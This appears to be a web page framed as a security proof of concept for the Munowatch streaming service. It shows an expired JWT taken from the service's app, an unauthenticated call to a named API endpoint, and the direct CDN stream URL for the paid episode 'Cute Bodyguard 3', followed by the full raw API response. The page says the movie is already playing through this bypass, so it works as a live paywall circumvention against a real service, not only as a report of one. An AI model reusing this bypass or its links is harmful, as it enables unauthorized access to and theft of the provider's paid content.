Watch — Cute Bodyguard 3

SECURITY PoC — NO AUTH

This movie's CDN stream is playing without login or subscription

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Per-movie CDN bypass proof The API returned playingUrl for Cute Bodyguard 3 with issubscriber: false, user_access: deny, and paid_for: true. The video_name + serverhost from the API response are used to construct the CDN URL above, confirming that the file for this specific movie is publicly accessible with no authentication.

Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed

API response evidence

Endpoint called GET /api/preview/v2/33015/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

paid_for YES (premium content)

substatus EXPIRED

serverhost 47

video_name CUTE BODYGUARD 3...vj baros.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN stream https://munotek-vault.b-cdn.net/stw42/fya/CUTE%20BODYGUARD%203...vj%20baros.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 33015,
    "video_title": "Cute Bodyguard 3",
    "description": " \u201cCute Bodyguard\u201d tells the love story between Gu Rong, an arrogant and trouble-making rich second generation, and Su Jing Jing, a strong girl who looks gentle and cute. Because of an accident, Su Jing Jing becomes Gu Rong's bodyguard. Though they don't know each other before this accident, romantic love starts as they get involved in each other's life.",
    "video_name": "CUTE BODYGUARD 3...vj baros.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "47",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "44h 04m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/Ajr7pbJs1T2974.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2023-01-05",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "38499",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "327.63 MB",
    "create_date": "2023-01-05 05:54:09",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 47,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "",
    "secduration": "158640.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Baros",
    "trailer_playing_url": "",
    "episodes": 24,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  4",
    "nxt_eps_id": 33017,
    "nxt_eps_title": "Cute Bodyguard 4",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "3 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}